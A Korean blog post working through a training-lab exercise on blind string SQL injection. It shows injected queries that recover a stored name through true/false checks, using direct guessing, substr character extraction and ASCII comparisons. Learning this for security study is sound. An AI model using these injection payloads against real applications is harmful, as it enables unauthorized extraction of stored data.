겉바속촉

[보안] Blind String SQL Injection 본문

IT 일기 (상반기)/네트워크 및 시스템 보안

[보안] Blind String SQL Injection

겉바속촉 2021. 1. 21. 23:04
728x90
반응형

 

 

지난번에 봤던 Blind Numeric SQL Injection에 이어서

 

2021/01/21 - [IT 일기 (상반기)/네트워크 및 시스템 보안] - [보안] Blind Numeric SQL Injection

 

[보안] Blind Numeric SQL Injection

Blind Numeric SQL Injection 계좌 번호의 유효성을 체크해 주는 서비스 문제 ) The goal is to find the value of the field pin in table pins for the row with the cc_number of 1111222233334444. The fi..

2-juhyun-2.tistory.com

 

 

 

 

Blind String SQL Injection 에 대해서 보도록 하겠습니다.

 

 

 

 

 

 

 

 

 

문제)

 

The goal is to find the value of the field name in table pins for the row with the cc_number of 4321432143214321. The field is of type varchar, which is a string.

 

 

pins테이블에서 cc_number 컬럼의 값이 '4321432143214321'인 name 컬럼(필드)의 값을 찾으시오.

 

 

 

 

 

 

 

 

우리가 주목해야할 점은 숫자가 아니라 문자열을 찾아야한다는 것입니다.

사실 내가 찾고자하는 쿼리는 만들어졌습니다.

 

 

그런데 어떻게 판별을 해낼 것인가가 문제인거에요!!

 

 

물론 다음과 같이 천재성 발휘해서 딱 Jill이라고 넣어주면 만사 okay입니다.

 

 

 

select * from accounts where account_number = 101 and (select name from pins where cc_number = '4321432143214321') = 'Jill'

 

⇒ Account number is valid 

⇒ "Jill" 

 

 

 

근데 거의 불가능이쥬?

숫자일 때보다 더 어렵다규요.....

 

 

 

 

그래서 substr을 활용하는 것입니다.

 

substr(name, 1, 1) ---->  name에서 첫번째 한글자 가져오기!!

 

 

 

 

 

 

select * from accounts where account_number = 101 and (select substr(name, 1, 1) from pins where cc_number = '4321432143214321') = 'J'

 

 

 

 

 

 

 

 

아니면 ASCII코드로 비교해주어도 됩니다!!!

수행속도가 더 빨라지는 데요:)

 

 

 

 

select * from accounts where account_number = 101 and (select ascii(substr(name, 1, 1)) from pins where cc_number = '4321432143214321') < ascii('Z')

 

 

 

 

 

그래서 이런 식으로 한땀~ 한땀~ 찾아나가면 됩니다:)

 

 

 

 

 

 

728x90
반응형